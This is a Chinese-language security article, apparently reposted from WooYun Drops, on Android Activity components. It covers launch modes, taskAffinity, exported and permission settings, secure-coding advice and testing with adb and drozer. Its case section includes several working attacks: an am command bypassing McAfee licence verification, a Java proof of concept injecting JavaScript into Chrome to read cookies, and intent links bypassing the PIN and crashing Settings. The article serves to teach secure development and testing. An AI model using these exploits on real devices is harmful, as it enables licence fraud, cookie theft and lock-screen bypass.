Android Activtity Security
0x00 科普
Android每一个Application都是由Activity、Service、content Provider和Broadcast Receiver等Android的基本组件所组成,其中Activity是实现应用程序的主体,它承担了大量的显示和交互工作,甚至可以理解为一个"界面"就是一个Activity。
Activity是为用户操作而展示的可视化用户界面。比如说,一个activity可以展示一个菜单项列表供用户选择,或者显示一些包含说明的照片。一个短消息应用程序可以包括一个用于显示做为发送对象的联系人的列表的activity,一个给选定的联系人写短信的activity以及翻阅以前的短信和改变设置的activity。尽管它们一起组成了一个内聚的用户界面,但其中每个activity都与其它的保持独立。每个都是以Activity类为基类的子类实现。
一个应用程序可以只有一个activity,或如刚才提到的短信应用程序那样,包含很多个。每个activity的作用,以及其数目,自然取决于应用程序及其设计。一般情况下,总有一个应用程序被标记为用户在应用程序启动的时候第一个看到的。从一个activity转向另一个的方式是靠当前的activity启动下一个。
0x01 知识要点
参考:http://developer.android.com/guide/components/activities.html
生命周期
启动方式
显示启动
配置文件中注册组件
<activity android:name=".ExampleActivity" android:icon="@drawable/app_icon"><intent-filter><action android:name="android.intent.action.MAIN" /><category android:name="android.intent.category.LAUNCHER" /></intent-filter> </activity>
直接使用intent对象指定application以及activity启动
Intent intent = new Intent(this, ExampleActivity.class); startActivity(intent);
未配置intent-filter的action属性,activity只能使用显示启动。
私有Activity推荐使用显示启动。
隐式启动
Intent intent = new Intent(Intent.ACTION_SEND); intent.putExtra(Intent.EXTRA_EMAIL, recipientArray); startActivity(intent);
加载模式launch mode
Activity有四种加载模式:
- standard:默认行为。每次启动一个activity,系统都会在目标task新建一个实例。
- singleTop:如果目标activity的实例已经存在于目标task的栈顶,系统会直接使用该实例,并调用该activity的onNewIntent()(不会重新create)
- singleTask:在一个新任务的栈顶创建activity的实例。如果实例已经存在,系统会直接使用该实例,并调用该activity的onNewIntent()(不会重新create)
- singleInstance:和"singleTask"类似,但在目标activity的task中不会再运行其他的activity,在那个task中永远只有一个activity。
设置的位置在AndroidManifest.xml文件中activity元素的android:launchMode 属性:
<activity android:name="ActB" android:launchMode="singleTask"></activity>
Activity launch mode 用于控制创建task和Activity实例。默认“standard“模式。Standard模式一次启动即会生成一个新的Activity实例并且不会创建新的task,被启动的Activity和启动的Activity在同一个栈中。当创建新的task时,intent中的内容有可能被恶意应用读取所以建议若无特别需求使用默认的standard模式即不配置launch mode属性。launchMode能被Intent 的flag覆盖。
taskAffinity
android系统中task管理Activity。Task的命名取决于root Activity的affinity。
默认情况下,app中的每个Activity都使用app的包名作为affinity。而Task的分配取决于app,故默认情况下一个app中所有的Activity属于同一task。要改变task的分配,可以在AndroidManifest.xml文件中设置affinity的值,但是这样做会有不同task启动Activity携带的intent中的信息被其他应用读取的风险。
FLAG_ACTIVITY_NEW_TASK
intent flag中一个重要的flag
启动Activity时通过setFlags()或者addFlags()方法设置intent的flags属性能够改变launch mode,FLAG_ACTIVITY_NEW_TASK标记代表创建新的task(被启动的Activity既不在前台也不在后台)。FLAG_ACTIVITY_MULTIPLE_TASK标记能和FLAG_ACTIVITY_NEW_TASK同时设置。这种情况下必会创建的task,所以intent中不应携带敏感数据。
Task
stack:Activity承担了大量的显示和交互工作,从某种角度上将,我们看见的应用程序就是许多个Activity的组合。为了让这许多 Activity协同工作而不至于产生混乱,Android平台设计了一种堆栈机制用于管理Activity,其遵循先进后出的原则,系统总是显示位于栈顶的Activity,位于栈顶的Activity也就是最后打开的Activity。
Task:是指将相关的Activity组合到一起,以Activity Stack的方式进行管理。从用户体验上讲,一个“应用程序”就是一个Task,但是从根本上讲,一个Task是可以有一个或多个Android Application组成的
如果用户离开一个task很长时间,系统会清理栈顶以下的activity,这样task被从新打开时,栈顶activity就被还原了。
Intent Selector
多个Activity具有相同action时,当此调用此action时会弹出一个选择器供用户选择。
权限
android:exported
一个Activity组件能否被外部应用启动取决于此属性,设置为true时Activity可以被外部应用启动,设置为false则不能,此时Activity只能被自身app启动。(同user id或者root也能启动)
没有配置intent-filter的action属性exported默认为false(没有filter只能通过明确的类名来启动activity故相当于只有程序本身能启动),配置了intent-filter的action属性exported默认为true。
exported属性只是用于限制Activity是否暴露给其他app,通过配置文件中的权限申明也可以限制外部启动activity。
android:protectionLevel
http://developer.android.com/intl/zh-cn/guide/topics/manifest/permission-element.html
normal:默认值。低风险权限,只要申请了就可以使用,安装时不需要用户确认。
dangerous:像WRITE_SETTING和SEND_SMS等权限是有风险的,因为这些权限能够用来重新配置设备或者导致话费。使用此protectionLevel来标识用户可能关注的一些权限。Android将会在安装程序时,警示用户关于这些权限的需求,具体的行为可能依据Android版本或者所安装的移动设备而有所变化。
signature:这些权限仅授予那些和本程序应用了相同密钥来签名的程序。
signatureOrSystem:与signature类似,除了一点,系统中的程序也需要有资格来访问。这样允许定制Android系统应用也能获得权限,这种保护等级有助于集成系统编译过程。
<!-- *** POINT 1 *** Define a permission with protectionLevel="signature" --> <permission android:name="org.jssec.android.permission.protectedapp.MY_PERMISSION" android:protectionLevel="signature" /> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <!-- *** POINT 2 *** For a component, enforce the permission with its permission attribute --> <activity android:name=".ProtectedActivity" android:exported="true" android:label="@string/app_name" android:permission="org.jssec.android.permission.protectedapp.MY_PERMISSION" > <!-- *** POINT 3 *** If the component is an activity, you must define no intent-filter --> </activity>
关键方法
- onCreate(Bundle savedInstanceState)
- setResult(int resultCode, Intent data)
- startActivity(Intent intent)
- startActivityForResult(Intent intent, int requestCode)
- onActivityResult(int requestCode, int resultCode, Intent data)
- setResult (int resultCode, Intent data)
- getStringExtra (String name)
- addFlags(int flags)
- setFlags(int flags)
- setPackage(String packageName)
- getAction()
- setAction(String action)
- getData()
- setData(Uri data)
- getExtras()
- putExtra(String name, String value)
0x02 Activity分类
Activity类型和使用方式决定了其风险和防御方式,故将Activity分类如下: Private、Public、Parter、In-house
private activity
私有Activity不应被其他应用启动相对是安全的
创建activity时:
1、不指定taskAffinity //task管理activity。task的名字取决于根activity的affinity。默认设置中Activity使用包名做为affinity。task由app分配,所以一个应用的Activity在默认情况下属于相同task。跨task启动Activity的intent有可能被其他app读取到。
2、不指定lunchMode //默认standard,建议使用默认。创建新task时有可能被其他应用读取intent的内容。
3、设置exported属性为false
4、谨慎处理从intent中接收的数据,不管是否内部发送的intent
5、敏感信息只能在应用内部操作
使用activity时:
6、开启activity时不设置FLAG_ACTIVITY_NEW_TASK标签 //FLAG_ACTIVITY_NEW_TASK标签用于创建新task(被启动的Activity并未在栈中)。
7、开启应用内部activity使用显示启动的方式
8、当putExtra()包含敏感信息目的应是app内的activity
9、谨慎处理返回数据,即可数据来自相同应用
public activity
公开暴露的Activity组件,可以被任意应用启动
创建activity:
1、设置exported属性为true
2、谨慎处理接收的intent
3、有返回数据时不应包含敏感信息
使用activity:
4、不应发送敏感信息
5、当收到返回数据时谨慎处理
Parter、in-house部分参阅http://www.jssec.org/dl/android_securecoding_en.pdf
安全建议
- app内使用的私有Activity不应配置intent-filter,如果配置了intent-filter需设置exported属性为false。
- 使用默认taskAffinity
- 使用默认launchMode
- 启动Activity时不设置intent的FLAG_ACTIVITY_NEW_TASK标签
- 谨慎处理接收的intent以及其携带的信息
- 签名验证内部(in-house)app
- 当Activity返回数据时候需注意目标Activity是否有泄露信息的风险
- 目的Activity十分明确时使用显示启动
- 谨慎处理Activity返回的数据,目的Activity返回的数据有可能是恶意应用伪造的
- 验证目标Activity是否恶意app,以免受到intent欺骗,可用hash签名验证
- When Providing an Asset Secondhand, the Asset should be Protected with the Same Level of Protection
- 尽可能的不发送敏感信息,应考虑到启动public Activity中intent的信息均有可能被恶意应用窃取的风险
0x04 测试方法
查看activity:
- 反编译查看配置文件AndroidManifest.xml中activity组件(关注配置了intent-filter的及未设置export=“false”的)
- 直接用RE打开安装后的app查看配置文件
- Drozer扫描:run app.activity.info -a packagename
- 动态查看:logcat设置filter的tag为ActivityManager
启动activity:
- adb shell:am start -a action -n package/componet
- drozer: run app.activity.start --action android.action.intent.VIEW ...
- 自己编写app调用startActiviy()或startActivityForResult()
- 浏览器intent scheme远程启动:http://drops.wooyun.org/tips/2893
0x05 案例
案例1:绕过本地认证
WooYun: 华为网盘android客户端本地密码绕过(非root也可以)
绕过McAfee的key验证,免费激活。
$ am start -a android.intent.action.MAIN -n com.wsandroid.suite/com.mcafee.main.MfeMain
案例2:本地拒绝服务
WooYun: 快玩浏览器android客户端本地拒绝服务
WooYun: 雪球android客户端本地拒绝服务漏洞
WooYun: Tencent Messenger(QQ) Dos vulnerability(critical)
WooYun: Tencent WeiBo multiple Dos vulnerabilities(critical)
WooYun: Android原生的Settings应用存在必现崩溃问题(可造成拒绝服务攻击) (涉及fragment)
案例3:界面劫持
WooYun: android利用悬浮窗口实现界面劫持钓鱼盗号
案例4:UXSS
漏洞存在于Chrome Android版本v18.0.1025123,class "com.google.android.apps.chrome.SimpleChromeActivity" 允许恶意应用注入js代码到任意域. 部分 AndroidManifest.xml配置文件如下
<activity android:name="com.google.android.apps.chrome.SimpleChromeActivity" android:launchMode="singleTask" android:configChanges="keyboard|keyboardHidden|orientation|screenSize"><intent-filter><action android:name="android.intent.action.VIEW" /><category android:name="android.intent.category.DEFAULT" /></intent-filter> </activity>
Class "com.google.android.apps.chrome.SimpleChromeActivity" 配置 但是未设置 "android:exported" 为 "false". 恶意应用先调用该类并设置data为” http://google.com” 再次调用时设置data为恶意js例如'javascript:alert(document.cookie)', 恶意代码将在http://google.com域中执行. "com.google.android.apps.chrome.SimpleChromeActivity" class 可以通过Android api或者am(activityManager)打开. POC如下
public class TestActivity extends Activity {@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);Intent i = new Intent();ComponentName comp = new ComponentName("com.android.chrome","com.google.android.apps.chrome.SimpleChromeActivity");i.setComponent(comp);i.setAction("android.intent.action.VIEW");Uri data = Uri.parse("http://google.com");i.setData(data);startActivity(i);try {Thread.sleep(5000);}catch (Exception e) {}data = Uri.parse("javascript:alert(document.cookie)"); i.setData(data);startActivity(i);} }
案例5:隐式启动intent包含敏感数据
暂缺可公开案例,攻击模型如下图。
案例6:Fragment注入(绕过PIN+拒绝服务)
Fragment这里只提一下,以后可能另写一篇。
<a href="intent:#Intent;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;launchFlags=0x00008000;SEL;action=android.settings.SETTINGS;end"> 16、bypass Pin android 3.0-4.3 (selector) </a><br>
<a href="intent:#Intent;S.:android:show_fragment=XXXX;launchFlags=0x00008000;SEL;component=com.android.settings/com.android.settings.Settings;end"> 17、fragment dos android 4.4 (selector) </a><br>
案例7:webview RCE
<a href="intent:#Intent;component=com.gift.android/.activity.WebViewIndexActivity;S.url=http://drops.wooyun.org/webview.html;S.title=WebView;end"> 15、驴妈妈代码执行(fixed) </a><br>
0x06 参考
http://www.jssec.org/dl/android_securecoding_en.pdf
原文地址:http://drops.wooyun.org/tips/3936
Android Activtity Security相关推荐
- Android app security安全问题总结
数据泄漏 本地文件敏感数据不能明文保存,不能伪加密(Base64,自定义算法等) android:allowbackup=false. 防止 adb backup 导出数据 Activity inte ...
- Android平台安全模型(The Android Platform Security Model)
版权声明:本文为CSDN博主「ashimida@」翻译的文章,转载请附上出处链接和本声明. 本文链接:https://blog.csdn.net/lidan113lidan/article/detai ...
- Android JetPack Security简介
是什么 Jetpack Security 是 Google I/O 2019 发布的安全组件库.Security构成简单,主要包含EncryptedFile和EncryptedSharedPrefer ...
- CFI in Android Kernel Security ppt略读 - 来自Linux Security Summit USA2018
目录 一.Android内核漏洞概览 访问控制 seccomp sandboxing 不需要权限在userland就可以被触发的bug 不从userland也可以被触发的bug 内存安全对所有的内核漏 ...
- Android Service Security
0x00 科普 一个Service是没有界面且能长时间运行于后台的应用组件.其它应用的组件可以启动一个服务运行于后台,即使用户切换到另一个应用也会继续运行.另外,一个组件可以绑定到一个service来 ...
- Android Broadcast Security
0x00 科普 Broadcast Recevier 广播接收器是一个专注于接收广播通知信息,并做出对应处理的组件.很多广播是源自于系统代码的──比如,通知时区改变.电池电量低.拍摄了一张照片或者用户 ...
- Android逆向分析工具ded的使用
今天使用了ded做逆向分析,瞬间比Apktool高大上了,功能太强大了,不过还有升级版,明天研究.吼吼~ 详细内容可以参考这篇论文:A Study of Android Application Sec ...
- Android安全系列工具
取证工具 bandicoot - 一个Python工具箱,用于分析手机元数据.它提供了一个完整,易于使用的环境,数据科学家分析手机元数据.只需几行代码,加载数据集,可视化数据,执行分析和导出结果. A ...
- 开发者福利:史上最全Android 开发和安全系列工具
取证工具 bandicoot - 一个Python工具箱,用于分析手机元数据.它提供了一个完整,易于使用的环境,数据科学家分析手机元数据.只需几行代码,加载数据集,可视化数据,执行分析和导出结果. A ...
最新文章
- C/C++在不确定输入字符串长度情况下,对其进行存储和字符操作问题
- linux主从库配置文件,linux 数据库主从同步配置
- PCR之父凯利·穆利斯:有才,真的可以为所欲为
- CSS3渐变——gradient
- 459B Pashmak and Flowers
- Ps camera raw怎么打开xmp预设
- Visual Odometry技术 (Of VSLAM)
- python画正弦函数_python中怎么用matlibplot画正弦曲线
- vb 复制 剪贴板 html,VB.NET中调用系统的剪贴板完成数据的复制和粘贴
- SQL控制权力(DNC)与日志
- 程序员必知之浮点数运算原理详解
- 微信网页开发之网页授权获取用户信息
- 西游记中四大菩萨的坐骑
- 狂神学习系列04:MySQL+JDBC
- mysql 随机分组_mysql分组
- ubuntu14.04安装nvidia-GTK-1060驱动后黑屏
- 2009-2020年天猫“双十一”成交额统计情况
- 迷你MVVM框架 avalonjs 入门教程(司徒正美)
- 科技云报道:云原生安全,腾讯产业互联网的底色
- Tablacus Explorer双心封装版
热门文章
- [待总结]各种中文乱码分析与处理:数据库、eclipse、linux to windows、web应用
- Matlab cell矩阵处理
- Python学习笔记:虚拟环境和包
- GPU硬件结构和程序具体参数设置
- matlab cell类型数组存至txt文件
- 成功解决C4996: ‘fopen‘: This function or variable may be unsafe. Consider using fopen_s instead
- 完结篇 | 吴恩达《序列模型》精炼笔记(3)-- 序列模型和注意力机制
- LeetCode 795. 区间子数组个数
- VTK修炼之道55:图形基本操作进阶_表面重建技术(等值面提取)
- 23种设计模式C++实现